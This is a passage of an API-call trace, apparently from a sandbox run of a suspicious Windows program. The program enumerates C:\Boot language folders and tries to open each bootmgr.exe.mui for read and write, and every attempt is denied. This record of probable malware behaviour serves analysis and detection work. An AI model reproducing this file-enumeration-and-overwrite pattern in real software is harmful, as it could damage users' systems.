nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0062.189] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-BR") returned 13 [0062.190] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\pt-BR\\*.*") returned 17 [0062.190] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.190] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.190] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.190] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0062.190] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.191] GetLastError () returned 0x5 [0062.191] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.191] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.191] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0062.191] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-PT") returned 13 [0062.191] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\pt-PT\\*.*") returned 17 [0062.191] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.192] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.192] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.192] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0062.192] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.196] GetLastError () returned 0x5 [0062.196] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.196] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.197] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0062.197] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\ru-RU") returned 13 [0062.197] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\ru-RU\\*.*") returned 17 [0062.197] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.197] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.197] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.197] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0062.197] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.198] GetLastError () returned 0x5 [0062.198] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.198] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.198] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0062.198] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\sv-SE") returned 13 [0062.198] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\sv-SE\\*.*") returned 17 [0062.198] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.199] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.199] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.199] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0062.199] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.203] GetLastError () returned 0x5 [0062.203] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.203] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.203] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0062.204] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\tr-TR") returned 13 [0062.204] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\tr-TR\\*.*") returned 17 [0062.204] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.204] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.204] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.204] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0062.205] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.205] GetLastError () returned 0x5 [0062.205] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.205] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.205] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0062.205] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-CN") returned 13 [0062.205] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\zh-CN\\*.*") returned 17 [0062.205] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.206] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.206] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.206] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0062.206] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.212] GetLastError () returned 0x5 [0062.212] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.212] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.212] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0062.212] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-HK") returned 13 [0062.212] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\zh-HK\\*.*") returned 17 [0062.213] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.213] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.213] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.213] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0062.213] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.214] GetLastError () returned 0x5 [0062.214] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.214] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.214] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0062.214] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-TW") returned 13 [0062.214] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\zh-TW\\*.*") returned 17 [0062.214] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.215] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, 